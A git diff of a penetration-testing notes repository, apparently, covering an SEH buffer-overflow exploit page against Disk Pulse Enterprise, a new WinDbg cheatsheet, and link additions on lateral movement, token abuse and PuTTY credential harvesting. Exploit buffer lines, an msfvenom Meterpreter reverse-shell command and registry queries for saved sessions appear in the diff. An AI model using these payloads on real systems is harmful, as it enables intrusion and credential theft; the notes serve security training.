z$PJKvmDg~L)PKkIe!igF{WvA~mHJol#FHCA5GuL>C|T9NbYwgygEj`#M3bG<#W`ZV z`>;P22EMZ8;%Zx&!-9auEDlpy(|qRsgnx82a-Rv(=LVkDa3zZkXXlyIeU_9Ud>SV8 zbf3M{QP2**#fVkB zD|h(C#n)XxdbnuKisMJ3lUas1cbKFIItv|}+;7G@6i=@~8gFXP?)DxnprrccU$@@m z!HDt)|MEPd0Q?J1gT-UOBPj}71>Pg20fqsm*0mkUEa%$b$J0p3uWR*doT#zLv7)Z$ z?wrvNOvW*(zsQ!ukN)$Q(cRX`QYpn>YdV?Kc4bs;c(8 zqXQx_tgwDxTmFU?FJcbLz`j^5XJ;vomhQ+~w!gH0@`0iSsJFK_R9L||@qYT5PQ zLNxoms%)cILqil2*>s|AZ6Di_Uc|8NBk{2l}Ng`Bw24f*nk*yQp}v zFi0@xZ0$gfLCNn%rmy_#@1-&p5rOvy_SUX=?^K48fLCHMxJN9Aa9cu!ca<3{3TeB! zWCS!{clpDeS2cQI)|4xwGV<<@2?{z=3wL*5G#vcT^9gj#_FMjph2$+&Bi}a0;=s9ql@pkgt(o8F z)*wf?N4b~Io^aT29R^7|&Uq!i!I@FLe|*ouBEG)8Uur4QB`x-w0Khl^@cG?;;n$1i z8~_?1^%`az{)4j)T=>j<)3?7VSI!%iGOaTE8;urf{=ZGHtuPFaBRT01@*>+s$$SwV zok`^ygy;Nd0rlanP>#;8<6BH#0nQS{NRtx@r;F3fS!4A0Nh_&Mg>5;2)U(<5SqW25 z*$p*UUv6yv1U>taHCHdq?0&gHYt8`e>9*_s&uDlz89(2l!?iFwpN8p75*pckji$$^ zUGZwPS=v!HX4-qB2Z#f?E*zd&?Di~`eW)#cu~PFDxJz@+T)sXHRP~ z4HIec2N+`q5*%3E0L(=IQm}V8CeK_Y=p44XX*BpB%%x_R)Zhfk5d?%we>!K!LZvab zc(7x-6?DrhXpJy9=TLutx&Y^I|Cb*9w?hx3$F_TFEvxSXeXRK)6sLwO z!qY*$&iB(`_k@=@6r+%mj^bc*wM0QoI@b=UKjNr2fEMeNrsFsgz{*20s}^#l&?Wzw zriwam;Q=X|%<ihuRi&@)t&9s)S__m7tFNlY(hU; z-TdFDKb;r(3AEhs-_Y#`d-w4nj2`AGZ_uG?E{7l|w zexp84E#N2yi)~RaVsKPn)rh6eV22Ga(8@-9%lC7_`;uY`6TZT4o&kC@tz}|??h8Gs zu4{7AGalDI4fYp;{}?03V}kNczm%v}%VqA@ujfqFXU~5s$#`w%@v39ib!(s+GuU&0 zcTxFU(DW-Ku-fjqG^1Pl z-UZH&0|FmI0-2jDXUG%=HD*apJiVk%ff z<^w$RW6FUJQ@B^fm9PLS7@R>fyQp+ddwgura^93SOLVTw4h;00Caf(k(j5uy~4LjQ(e2+fKfzpy(%o zCQm`2Jke6_0K?ACKgY_~Tkg^%g%wWhBTF8No$Tw)5RQtPvE7n_`=;yddO0#*ItO|2 z+pR{M;cxo2u2l?~JX$XKM|UTCyhAzP?Yq_wd#^-Xujq3gc(53b3>hN)i|R9u)fmPv zw&@>9SZzpti07_+mr1I4N2?Ib>2ZEB|;Zd*x5qFgUpM`w7a1OWyp3quTse#?GpfEXkwDqw8) z?LpeCqvkCJ+vg`a)a%+XZ0zq26Js{V+CNk5XiLK$e|6Y&vMTH;NcvR1zEPCgIyGQv zWPJ~I%37W_<#DurzN=3YoV5K>{Bz_dAuTh7D;%ejDDAeGwIhv5IVe8=)NkE=URvK4epi+ zWRbl3oBdhdkV#@TU`zSlv9=r=3GElA+6#U+IrSH^x=lUrz5P`B7C>k5tvegC>$?-> zcU&R9;mrDCbC4V5@C3l<3PO=`mT7XahkZH9B)Skc<$nArEQs+(_BNN0^1< z7(2GBv8^q)o?g4xtMDSbk1DoS7JC}i9D%k#GFj_VD*lF=_K7y|nZ~YY#7BszTga%xXdH=(US816o9>@~QtRkZeicwwRuOXURV0_}75EeO1JIt@C!4wGjo z3NeErtsv2fLY?&yKj#Kl;VXmAxVj*fH8kwK^%R{f)kS)~w2|3SD71 zW2;0WssfKOaxs6EsukDXEv{;i+5g}{%nU;ge0}wmlOIDG0`G~D8Jn_1;jrSAlu^0* zw{+=9ar?ukmZ>pOKJPn#)KvIio*_DB8I&mSL=ZiZ7feZ_C43XqF*|%HgI%F0!=`kq zFW%?AuYWsSv8~!YNKcWgCe0Z}a&OP1uWE_%x#-eje5X}5u4Bu=7YuYaO4vxaewua0 zAaKIe`(VBl7~e3QyBMUoDp;2KiU$f0#2x3lIUB@TdA-4Ua~1rPQ>~=yGqlQ?1N!@Q z@ne%^dHxW))ag9~@$m-I$ZRksE$t$z7iwXFlR>ZPJAHM_3I_hswLu! z{Q`21`1mEK`WdW5>t^?+-AR#O>LGZ}W1{ZHC<{s<%`P!@@L};hq3n{e4r1>BvmDeD zDJmNo&HwF#NZz3{lY(Af7GbPr^<3Y1#Jr;A65QxxkpKiw?Ksgw9+KPK+FXPYgN&8O z_^6)m>ZpyFZO4qFXU>8U>;)qNdu3K1YiD(P<>0gO$@LKGI$>(s;N=*vlKM&eOu#|_ zG`;PptfyxCc#GgN{+lx#o4#v&JPos+PrpjVXtSrz=W-W_soJPNH7yNGmY=H1HkY}` z*Ig753LHs9g3Y#o&cfsey+Zw^dXe^+u&;E+uMQ#P##M#!8bPuec4k@A|ish=(qpyfm2tG;HAB6I-Mf-&>P5)FG%+YK%yZ6HM9`HPVWbu znHX&@5C(J8pOTOj`^{)k1OJJHY(!k+$#SNdqaq{!Y<)m9+WVEBqH1WEb$mgCmdCkd z=t6AtHX5w&Is>tPni8=*+hcJDdhUg6@R}&|}U@C{f;c~zn1p9zRe zcu)R*CRj(@b1#ygCWYc9u8zx}rf0kMT>x7UI4;J+m|I2RGkRF7*He#p1(9~3HN`#1f#Z3MNi zhizJRcrJ^$2L40YWm*qaJLRb!w12!+ohHXQQu5j$9jW#pNz8qOy&}1?$45q{^l{LE zC4my^-@E9I7qYVO&rH|RxQQz6hZH*V^7?xdtJ4Gz`5sUYa91|4Wb`9rV`hI|L&v+V zz%Qt0X1igiR<*IStg!(+m{cXffL>=Nqkvq4?Zs=IrIgdor=;QGe4Ac(Yq?|KW5_dNeMMw?XR zU4(gi|IuEF+38~1B~Uea$BSTLlZ$@;=@188j5k5%5S`*m32H#A85GH`G)F9_RL^SP>++Q6|E3xP_1c zW6AR|)1Gb5U$o%OK5=GRrXq^z1#t_eXa4*YxLc*l&52zt1F~YR47dXtM=fy#%*ZU6 z0*05=X}8~kgUEqxZQh*A`)F!K3g)9prTx23|1LMj;xfMw33vudP`Io-v?{o{A=g_> zSZu5zet}M+jWHVp)hye!(68Nj#xU;j^Lfi0@%=*@4~jej>GtTa{Y4eF`lYehhWS_( z6Q(#o2ib!t5JRJG9Hr$>Y+~X^#XXVGj9oPZ8wuO7mt44I#FilEIZQ~wWA&=2yw7q- z?d9e5-y5n^e}D$}xV&DME)I+8*l-`Qg3kj9ge~kDW|Dx;&me!+h&?W5G*AjTaN0Nq zl7yLkmIyW>VkqJz254njv9dZ@J~2o~5!br}+MNxy>=}KnOYR};QLRT7Y-@^iSz|g- zAB%>ahUxu#bK{7WLVfQ~1u9?>v$n>MW;X2IiB3U_AF{T!HTRHb_xaa=7CEfeHLj7N z_?dlDF#dKjeWby9E*Z+@7kM9uMO;l1e_#ykX%FqRjiw~1rRy-AHp<{Wa+Y>FeE5U zC=%he9aCjKDOepjkztsS5tthr2U@uX9!=i{1;If=VsJ7If@iFfGTYs2+6(cE>l5;N z#WF%ev2buyj|85)R8-IL^rtatg_>*qNy7;wx3s0@;7fI z-XSAYaYxh)CU8tcPE-^e96Z>d+*B-!p}n-z|LlWo`wH2Q$%ooqKcT+etoBGf4Ky;D zkqPf#L+qIl52xj7e7Ko^wjgQU@xARN5MA30uk0Z3`E#^t;4LQaW!#SeuPZRreW}I8a7n|MrmJcM&=g3>-E2%!wlp4I|^g zK3(CwM%37TFXvaHq~u>JhK7pP)@id?JkXXwKNH~3(?&<>+S+2Qb2&WjG3GG#_$yw7 zXBtzF2S_DOo)6*-WjlA8d%A~h&Rh%nK+{3Y;4gv48s}R4D0AAH<2PP&Up&ru#GU^@ zV=w%bLPub8e&}xI7Ex#KN-k*nPy^!ZE5vMAja%JJTHT!eo_pxut+ZZCKh0rp<(uJe zIcZU^qN^*Xqr;1h{cUt~l!lqUxTE8H-ObHzsXZoqeNk4$Vdtol0HmFYd zSdEyyfcv{u#KDurE7>T33f#kt42fqx*}0nC+zekjr9!(JD}BgGojz)d+q@jQe3)BY zJQmB^oZ*=R)>MiRn>&ZJMj`3ruP{ng=oM~~8R>BsM;DiWd4DRDw*vIvE6kxkR zQ3@OiYaaNj`!7F1QSIMDj|*HZNbQqr=H=_5v^q9#Yl~=Bw!YG*hAel*0L4qwxmA3l|Cv%UKXCcodeGp{Edp3CFzMk`=VQEX#ksJDu@y3`pR3dgwkDa&*Q`5PxS5f*>U&BIFCQ#s;Y9^%6^xX*_4%+ zyHN1V9J>;5fx_y!V~RStWKp2z^U!zR{pX@TfSDe(YI!sVUh9(94os4~pv_jW3W|X6 zpkSJJbuJbr*nMy2y1ijcnbxMhmgYD^p(*drO3A*#QTbHllrz-=G4I*-f*Sh$?(Qxk zwCfNr%Mdjyi-e*qFwXS*_U+TvlP?jU>s7&0bW~Jn6%LH(moJQsoQ?DIi>m6L2jc~< zzzPKq6En7>si8Tu_-!2YcWF+E2d9{4^VJzUK4co=V67fh`OaeGZChV~5J1-SdI=Si z62~b*ou`8WVFc2oBqzyX$1_k2ll-3!GG!|J^ZX(8 zn9!orv$MMz&$7s}625*&!v^qevMYbsV#Y;6L(dMBBdVjeX7I?5Qpd$juo6W4h*gCk zn#ohymk!@Cs`+2Th`lp2GkK-V#+Vvl$J+zsh6b5Z-$G>tPYAGZ5TFXc{v!>T01`|C z1D7?LlJauP*#f>f#5-*)EG*;tWhB@Y&9(_x2;j+K5U?6$lXEVq9it%EyiUZrLKSTM z6@ckrtpD?MF8!xWDba0h&%4sQds3yf(7+=3{X0ZoPzxIbI5uavToeO?>Lb3^?2XC1-Vt(=H;xbH|8fQb z-c9`5H%S)q4?x;Q8;fA#DTGaNxcuirf2Q` z+1s$q8eZ)y3=DN7GeQ1BNN8%+>xVImjHMQ=fkCFLo7?QnjHr_nE9%;ZMxQ+$q)6^C z$@9z0(dDJt!-c_+kxQ#S2bW@Dt<$JeKADaQW$~PB&sVY>704~C?(Fwr&_!OYK}Q?T z=Zl9Q5hJpM7jRN74)@e3J`+QzF*&%oakfGfGf-(%~OhY20t<+QYt^}5@U31jFy2xz03ze z@)rgYjJ36OQDGrIkl-qsn=i=nL*L&c^AN?w`z`8Nb+K(F=7%HuX~Md@dbXTo46=90 zBf>_8L#SRnizc~t19!)_fBX_0an}v`S9p=Il9~_+6!?HX8_oGs>?08wY9gW^11!qzFnH1_hJ#&Ze~j%;aY5cnW4&2Q2Oq&H#`J}J$FQE{4JgQTLav3^tr z=rCAup)Ii_7-oDvxuCk-!+kij+#4imt_iK(Uw{7mi7%wW!N#6b-uy3>@Jd7Dkkk0r zGJ6he^EhG&;7anLA^ZCV4KVX-b0_*fe0}JHL~s8D7hmyQRo4-6$~C>^kU-jicjJ!K z@Nf{lZ+^EjWO@~yQ}P0X9?0p3r>02nH(d>if!X|UT5NN9S@fay8^;&9_2XSvcXzxe zZJD8_^{_5`M;6_vk{1?3IPxeLBJuf#BN*?nET1q#VXhqqon}PNp7I{fA1j2hl|2Ie zI}GX2aDS?&$S>SYGgv}mR0rYBax9KYpb5fAK9eKFA$M1eKFd;Iz`Ja1jqooH3{a_S zXsYPwNNSj4fAiS4K4b=kQ^o`P8Fm~qKFs1@FpB*!kuRM`zdPFf1DEtxJY5YiuS4!u zD1^nocAFzFTYx|U5syIuikiW-65qSucimSY(Mj|<#N*;ku-e2S??Pf>vtriXfn`*Q z;h(s_Pd;a(TCU4knSsACY|TPZy+&{)ENW9jg?_8^Ukn|EZ+M{Kh|o?*E7-O$5`O8| zb(rDKMwz(Kp3@$6#HnkBtL{Mgpe3~EVmli&PLVF?R|zqn_uO4aj7vAiUbGTv{Y@<6 zo9SKk9CX$t8YDE7aJX>shNj3&2o>4dvlbO)9i7njJc#x;2?5c<_R$)!BLiL$JzCzR zhJwJ>Pl^+E4C2R;aG$4e#utSFr_3;|K!;(6MIz10PzzcS8fbqx_rB%~?zGRoZ$U6iB@f7YO1)to-+UUBdYKnZXa*|n+Q84&P#E&e;xkh;|qdVk-^>$ku+g-?7=2XeA zEg#!-?Z$^)PNGjWFfE}RW3SZWO#~pa*HGKQF>`K#>Zb468#M{C7#fh^tks6_Y=<#V z<6>*3F3%CnB}1QG<}9xRC-HYs4z%nFiX~Z`_AqLUGm(Vd`XPo_&!*|QK`(iTk^c+L zhbG)Bk*$XV7i2S~yQVWVe=iTu3x~A*K^xcgiIrvr>uHF+(^K-eWalj0H3#oQH% zBc%=>sd+sZL?L5^?3i{IRvw-Cy7wH)P{MBT^N8oa^(L4rzTqF+@B_N)gp?Py%HLiF z0@K9JV6=(9Q<0MIG`-aVBr@UM9}hk25wE-K*T^B{rpZ1vh^$;2%_VQHyE`GQERZIT zlO)~>N_*E(J2!(ihAq~S4gZ>4|6Nb7u3kwn&~m!{K)8nEw%zB?HOqdie=5~06dP9iCqNiSki+pG4)vS|s zZZ8T9>Lsp0h;EWCPENUc$ky#43eFQPe{j1x7k*9IGc-@4#WPARrf|1+cfK(VNI*I< zv_ww>t}f4Nn%E^R7cXTgD26>zx6Bhx1D=$|gTy6^3HFM}gc?Ab@^=>Eo?vkgs4E{D z>btc2X)ta1$rc@>TgUHESb+&2L^eOI36Wi!=TzJ`+5BtVbh)FxW>xjY#{W^2z1xoO zt7J3VfPDnNNT|LI5cqON0qMH;_peV}S6GYY?yh9tA-Q$u{j1c%SzwqXT4Hd>+|iuv z-+%Q2yQ8OzeHYbd1+gWs(qptK`<1>Ni)F!Ky@3Wl9`mU<5}*yBw|pVf#!@2SU%G3*DFHip`zXAc5bUVBo+)v$}? z2p;&GK7xXU5oJ~eJzR(@Q*PfQ*6Z(k9D=eT0$^WJYU>w+(Ok+*A@HC9O`YFDN%r~8 z9!PNmdwH z?*8(LiJP0V@0I^*S;51UC~*Ra0WV=KJ;zk9%PZ0&_3r0B%FHB+n6Yhx?~)N)eNNa~ z%1MXDrzurKCc?Ml6_DKkjAOuXuoRAA$0`uR{vdYoXVgUWYb~6teC+K@?kcflfzSwp zFds&NA=rqPKqkZ~RuxC5UK%_hi=VqLAL-fcKXf#Tnf> zeA4_e7i=8S9)w$~TsfwZFyz6U-Dh846!RQfxwby~u*jw3=DlncG5o^V6D}@|iOGz? zPrR4cEsSpmhrdl~oO!(-6(PQCs`7%FCJVPPlqjtTP4K?;+iQ(CickdBaCLoD?KB;J zlzET+2ROuPv0O8&-)1lv3^M)hM;z_eiOa2ieT04JVyJN}TO9ysnf`Mbjo4TJC~=;) zp#unY%H%jFwL|cJj_}i~^~v~m+kJ!bk1e^fgocb@+x`G98-=MLJ%5eI1qTc`)Vd$- z2MYU<<%d~!D;pairH<~OsQf?Z1HOGX?2pq^ba?4~WCe*NVfbSvN}1uKw8u_m3&%Pz zWXT>UeCw&C-!yCfOs^`$&s!VYjg77$sEhn1v~ew1CY!%=bC?LSM+=RrfqkMCh%h39 zz|bvRCkPuiL5K)$CNH#@NOPd3pdaW@w9#@a2clq&4R}5Rb^mn_)b4fWekBQ!Ss^J` zDv%+@HD#Nv6e^3(e8$w8S`hZ$f)SkhR{!doPb3sl{XP@{sz3hGB_8T@gLdq!`QA+` zsnEY1f~cZ0J$h;w&WVkPJ@PZY2>Q9GD8qhQ1IxbEm0`)(wG+NZ#EduG2Ew2rD5s+5hec zXRAhoU8)A-3xSS#qZbnN`xi9t7nkZdZTX5A4;Ag6FA+a#jtM^1#o_hVy<=01nUJ>@ zFR{#|#%pI(5aD){ao_C<$I?*RFFc@$t_9K6r66qmj5vB+5aCYC)`}$&3Xw^sfaS$a zocwhx>ROZ!?+MPeu7S(NtQsc%MTtXIJ}8Y=d-_v;Tr4T1>4aYvG?jz2tG`3EHHC)p z_mX1Jt>|#0HqIXI98nTQEd-8Y^v;;zoagJd8+`>8>0`GxzYq%9o{>wUa|lOS^5)d4 zcE(eF4HB%Fa#`~DR9`-^@Mn1l5^U!da4v7waS-RtV{D;TMNO2=mT;}RU4>*n_8uEo z2H8b&u=&!-3CpOX58symmTT0sOB!e!2s|v>4 zi@pxTfwj*yQ3@`Mz*YJp0#C0CqVw^Bb>M0<6p;Cl6UFj}1br$?4oudP zZ%9rq>^rX9X4wz_k?(XTRU0|!(xH2pYs$kLWmF-mYDXpJ^h9o5D*d8U-Sp!}n*W+p zjbN+&{XY7myo5DhCaAoYNrnZ1XU>BbA-a_6X}%|N5BOt&txK7U7ew-c6ztt_vHlFJ z0sVI97COI_JUpepf&AzmL~OA82ONgM6oUF8+8L8~A3`c`ZzIm!W&z?zaf*$ zIj0mgzeGifAe%advU1CGrylsz&kmJ}21zTwzpLYav3YtZS^s%Gjxat^s?v{=juE1& ztw?!g7IPSso&C;4KifZ?(<7V<5g+p-oTbUFKTgEWqCLMRwG}U29u^%j!0frbBK1f? z5{kKShX5|;RdqL0cME;~qaNu(9Q!2=jz{JTZf`gZqW~3VrUs3aY8;JCqJs692m8Eq zs95f>#fJIWQ$4ndM5TbZpE`|VH1XpnibIaUBgn_)n0v)sWtzH_Zu2`{HSzwywMdKr z)jhbM=xLDBJYFoD$s>xifG+Us#xg@d%bj9Jq{y;P4Iva?aUEMZSO@r5p-JA7cE150 o3j(=tUEp`AzOYnEZ0ntFuuqo^n{}85E(rLMl~k0d5;Ok(KgU7dhX4Qo literal 0 HcmV?d00001 diff --git a/SUMMARY.md b/SUMMARY.md index ac5331c..3422df5 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -213,6 +213,7 @@ - [OSCP BOF](expdev/bof/oscp-bof.md) - [OSED SEH Overflow](expdev/bof/osed-sehof.md) * [RE](expdev/re/README.md) +* [WinDbg](expdev/windbg.md) ## ⚙️ Admin diff --git a/expdev/bof/osed-sehof.md b/expdev/bof/osed-sehof.md index 3792309..f2a0907 100644 --- a/expdev/bof/osed-sehof.md +++ b/expdev/bof/osed-sehof.md @@ -150,7 +150,7 @@ send(buf) In case the bad characters cause the SEH overflow not happen at all, this command can help to speed up the debug routine: ``` -PS > Restart-Service "Vuln Service"; .\DbgX.Shell.exe -pn vulnsvc.exe -c 'g; !exchain'; sleep 3; python C:\sehof_bad_chars.py +PS > Restart-Service "Disk Pulse Enterprise"; .\DbgX.Shell.exe -pn diskpls.exe -c 'g; !exchain'; sleep 3; python C:\sehof_bad_chars.py ``` In case the bad characters are truncated from memory, dump the bytes (*EstablisherFrame* - the second argument of the vulnerable *ExecuteHandler*) and examine them manually or use [find-bad-chars.py](https://github.com/epi052/osed-scripts/blob/main/find-bad-chars.py) by [@epi052](https://twitter.com/epi052): @@ -173,7 +173,7 @@ Or ## 4. Search for P/P/R Sequence -P/P/R == `pop R32, pop R32, ret`: +P/P/R is `pop R32, pop R32, ret`: ``` $ msf-nasm_shell @@ -281,7 +281,7 @@ Search with [find-ppr.py](https://github.com/epi052/osed-scripts/blob/main/find- Break on the P/P/R and assemble a short jump over the *Next* structure exception handler: ``` -PS > Restart-Service "Vuln Service"; .\DbgX.Shell.exe -pn vulnsvc.exe -c 'g; bp 0x101576c0; g'; sleep 2; python C:\sehof_ppr.py +PS > Restart-Service "Disk Pulse Enterprise"; .\DbgX.Shell.exe -pn diskpls.exe -c 'g; bp 0x101576c0; g'; sleep 2; python C:\sehof_ppr.py Breakpoint 0 hit eax=00000000 ebx=00000000 ecx=101576c0 edx=77e06fa0 esi=00000000 edi=00000000 @@ -492,9 +492,12 @@ Evaluate expression: -14084 = ffffc8fc And then assemble an appropriate jump: -``` -jmp 0xffffc8fc -0: e9 f8 c8 ff ff jmp ffffc8fd <_main+0xffffc8fd> +```python +>>> from keystone import * +>>> ks = Ks(KS_ARCH_X86, KS_MODE_32) +>>> jump = [f'\\x{int(opcode):02x}' for opcode in ks.asm("jmp 0xffffc8fc;")[0]] +>>> print(f"""b'{''.join(jump)}'""") +("\xe9\xf7\xc8\xff\xff") ``` @@ -510,7 +513,7 @@ size = 6000 shellcode_size = 600 shellcode = b'\x90' * 20 -# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 EXITFUNC=thread -b "\x00\x09\x0a\x0d\x20" -e x86/shikata_ga_nai -f python -v shellcode +# msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=1337 EXITFUNC=thread -b "\x00\x09\x0a\x0d\x20" -e x86/shikata_ga_nai -f python -v shellcode # sudo msfconsole -qx 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST eth0; set LPORT 1337; set EXITFUNC thread; run' shellcode += b"" shellcode += b'C' * (shellcode_size - len(shellcode)) @@ -520,7 +523,7 @@ exp += LE(0x101576c0) # (PPR) pop eax; pop ebx; ret exp += b'\x90\x90' # (NSEH) offset for the 'eb 06' part of the jmp instruction #exp += b'\x66\x81\xc4\x52\x0f' # (Island Hop) add sp, 0xf50 #exp += b'\xff\xe4' # (Island Hop) jmp esp -exp += b'\xe9\xf8\xc8\xff\xff' # jmp 0xffffc8fc +exp += b'\xe9\xf7\xc8\xff\xff' # jmp 0xffffc8fc filler = b'A' * (2499 - 4) nop = b'\x90' * (size - len(filler + exp + shellcode)) diff --git a/expdev/windbg.md b/expdev/windbg.md new file mode 100644 index 0000000..7b262cf --- /dev/null +++ b/expdev/windbg.md @@ -0,0 +1,187 @@ +# WinDbg + + + + +## Install + +- [https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/) +- [https://github.com/TimMisiak/windup](https://github.com/TimMisiak/windup) + +Get the latest version (stolen from [here](https://stackoverflow.com/a/77062861/6253579)): + +```bash +wget --quiet --continue --no-check-certificate -O windbg.appinstaller https://aka.ms/windbg/download +grep -ioP "htt.*bundle" windbg.appinstaller > msix.txt +wget --quiet --continue --no-check-certificate -i msix.txt +7z.exe x windbg.msixbundle +7z.exe x *x64.msix -owindbgnew +cd windbgnew +start dbgx.shell.exe +``` + + + +### Symbols + +- [https://github.com/p0dalirius/pdbdownload](https://github.com/p0dalirius/pdbdownload) + + + + +## Cheatsheet + +Load debugging symbols: + +``` +> srv*c:\symbols*https://msdl.microsoft.com/download/symbols +> .reload /f +``` + +Unassemble from memory: + +``` +> u kernel32!GetCurrentThread +``` + +Read bytes from memory: + +``` +> db esp [L1] +> db 41414141 +> db kernel32!WriteFile + +> dw esp +> dd esp +> dq esp + +> dW/dc KERNELBASE+0x40 +``` + +Read data at a specified address: + +``` +> dd esp L1 +41414141 +> dd 41414141 +// The same as pointer to data +> dd poi(esp) +``` + +Dump structures: + +``` +> dt ntdll!_TEB +> dt -r ntdll!_TEB @$teb ThreadLocalStoragePointer +> dt -r ntdll!_TEB @$teb + +> ?? sizeof(ntdll!_TEB) +``` + +Edit bytes: + +``` +> dd esp L1 +> ed esp 41414141 +> dd esp L1 + +> da esp +> ea esp "AAAA" +> da esp +``` + +Search memory space: + +``` +> ed esp 41414141 +> s -d 0 L?80000000 41414141 + +> s -a 0 L?80000000 "This program cannot be run in DOS mode" +``` + +Work with registers: + +``` +> r +> r eax +> r eax=41414141 +``` + +Work with software breakpoints: + +``` +> bp kernel32!WriteFile +> bl +> bd 0 +> be 0 +> bc 0 +> bc * + +> lm m ole32 +> bu ole32!WriteStringStream +> bl +``` + +Breakpoints and actions: + +``` +BOOL WriteFile( + HANDLE hFile, + LPCVOID lpBuffer, + DWORD nNumberOfBytesToWrite, // Write to file "hello" -> "db esp+0x0c L1" is 04 (length of "hello", also in esi register) + LPDWORD lpNumberOfBytesWritten, + LPOVERLAPPED lpOverlapped +); + +> bp kernel32!WriteFile ".printf \"The number of bytes written is: %p\", poi(esp + 0x0C);.echo;g" +> bp kernel32!WriteFile ".if (poi(esp + 0x0C) != 4) {gc} .else {.printf \"The number of bytes written is 4\";.echo;}" +> bp kernel32!WriteFile ".if (@esi != 4) {gc} .else {.printf \"The number of bytes written is 4\";.echo;}" +``` + +Work with hardware breakpoints: + +``` +// Before: write "w00tw00t" to a file, save the file, close Notepad, re-open the file +> s -a 0x0 L?80000000 w00tw00t +> s -u 0x0 L?80000000 w00tw00t +> ba w 2 00b8b238 +> du +00b8b238 "a00tw00t" +``` + +![[Pasted image 20230924234241.png]] + +Step through code: + +``` +> p // step over +> t // step into +> pt // step to next return +> ph // execute code until a branching instruction is reached +``` + +List modules and symbols: + +``` +> .reload /f +> lm +> lm m kernel* +> x kernelbase!CreateProc* +``` + +Evaluation and output formats: + +``` +> ? ((41414141 - 414141) * 0n10) >> 8 +> ? 41414141 +> ? 0n41414141 +> ? 0y10101010 +> .formats 41414141 +``` + +Pseudo registers: + +``` +> r @$t0 = (41414141 - 414141) * 0n10 +> ? @$t0 >> 8 +``` diff --git a/pentest/infrastructure/ad/credential-harvesting/ssh-clients.md b/pentest/infrastructure/ad/credential-harvesting/ssh-clients.md index fc5b2ce..1c6b447 100644 --- a/pentest/infrastructure/ad/credential-harvesting/ssh-clients.md +++ b/pentest/infrastructure/ad/credential-harvesting/ssh-clients.md @@ -12,6 +12,7 @@ ``` Cmd > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s Cmd > reg query "HKEY_USERS\\Software\SimonTatham\PuTTY\Sessions" /s +PS > Get-ChildItem -Path "HKCU:\Software\SimonTatham\PuTTY\Sessions\" -Recurse ``` diff --git a/pentest/infrastructure/ad/lateral-movement/rpc.md b/pentest/infrastructure/ad/lateral-movement/rpc.md index 0007a60..17e27da 100644 --- a/pentest/infrastructure/ad/lateral-movement/rpc.md +++ b/pentest/infrastructure/ad/lateral-movement/rpc.md @@ -197,3 +197,5 @@ namespace SharpSCExec - [[PDF] Unorthodox Lateral Movement (Riccardo Ancarani)](https://github.com/RiccardoAncarani/talks/blob/master/F-Secure/unorthodox-lateral-movement.pdf) - [https://github.com/netero1010/ScheduleRunner](https://github.com/netero1010/ScheduleRunner) - [https://github.com/netero1010/GhostTask](https://github.com/netero1010/GhostTask) +- [https://gist.github.com/Workingdaturah/991de2d176b4b8c8bafd29cc957e20c2](https://gist.github.com/Workingdaturah/991de2d176b4b8c8bafd29cc957e20c2) +- [https://github.com/dmcxblue/SharpGhostTask](https://github.com/dmcxblue/SharpGhostTask) diff --git a/pentest/infrastructure/ad/post-exploitation.md b/pentest/infrastructure/ad/post-exploitation.md index c67aa9c..fbb023f 100644 --- a/pentest/infrastructure/ad/post-exploitation.md +++ b/pentest/infrastructure/ad/post-exploitation.md @@ -167,6 +167,15 @@ PS > Disable-NetFirewallRule FPS-SMB-In-TCP* ``` +#### RpcShadow2 + +- [https://red.c3r3br4t3.com/red-team-operations/lateral-movement/shadowrdp](https://red.c3r3br4t3.com/red-team-operations/lateral-movement/shadowrdp) +- [https://github.com/c3r3br4t3/ShadowRDP](https://github.com/c3r3br4t3/ShadowRDP) +- [https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/4c6481f4-a1cc-4c76-abc1-3ece834e6451](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/4c6481f4-a1cc-4c76-abc1-3ece834e6451) +- [https://learn.microsoft.com/en-gb/windows/win32/api/rdpencomapi/nn-rdpencomapi-irdpsrapisharingsession](https://learn.microsoft.com/en-gb/windows/win32/api/rdpencomapi/nn-rdpencomapi-irdpsrapisharingsession) +- [http://www.rohitab.com/discuss/topic/41626-rdp-com-server-client/](http://www.rohitab.com/discuss/topic/41626-rdp-com-server-client/) + + ## Run on Domain Computers diff --git a/pentest/infrastructure/ad/privileges-abuse/seimpersonate/README.md b/pentest/infrastructure/ad/privileges-abuse/seimpersonate/README.md index 2d400b8..cb3a1c8 100644 --- a/pentest/infrastructure/ad/privileges-abuse/seimpersonate/README.md +++ b/pentest/infrastructure/ad/privileges-abuse/seimpersonate/README.md @@ -6,3 +6,12 @@ ## Restore Privileges * [https://itm4n.github.io/localservice-privileges/](https://itm4n.github.io/localservice-privileges/) + + + + +## Leaked Handles + +- [https://www.tarlogic.com/blog/token-handles-abuse/](https://www.tarlogic.com/blog/token-handles-abuse/) +- [https://github.com/blackarrowsec/Handly](https://github.com/blackarrowsec/Handly) +- [https://rastamouse.me/safehandle-vs-intptr/](https://rastamouse.me/safehandle-vs-intptr/) diff --git a/pentest/infrastructure/ad/token-manipulation.md b/pentest/infrastructure/ad/token-manipulation.md index 346edfe..530a800 100644 --- a/pentest/infrastructure/ad/token-manipulation.md +++ b/pentest/infrastructure/ad/token-manipulation.md @@ -7,6 +7,8 @@ - [https://xret2pwn.github.io//Building-Token-Vault-Part0x02/](https://xret2pwn.github.io//Building-Token-Vault-Part0x02/) - [https://rastamouse.me/token-impersonation-in-csharp/](https://rastamouse.me/token-impersonation-in-csharp/) - [https://xakep.ru/2022/12/06/win-api-secrets/](https://xakep.ru/2022/12/06/win-api-secrets/) +- [https://ardent101.github.io/posts/tokens_theory/](https://ardent101.github.io/posts/tokens_theory/) +- [https://habr.com/ru/articles/776298/](https://habr.com/ru/articles/776298/) - [[PDF] Technical Analysis of Access Token Theft and Manipulation (McAfee)](https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf) ![Access Token Theft and Manipulation (McAfee)](/.gitbook/assets/011.png) diff --git a/pentest/infrastructure/networks/README.md b/pentest/infrastructure/networks/README.md index c284a84..367e0b1 100644 --- a/pentest/infrastructure/networks/README.md +++ 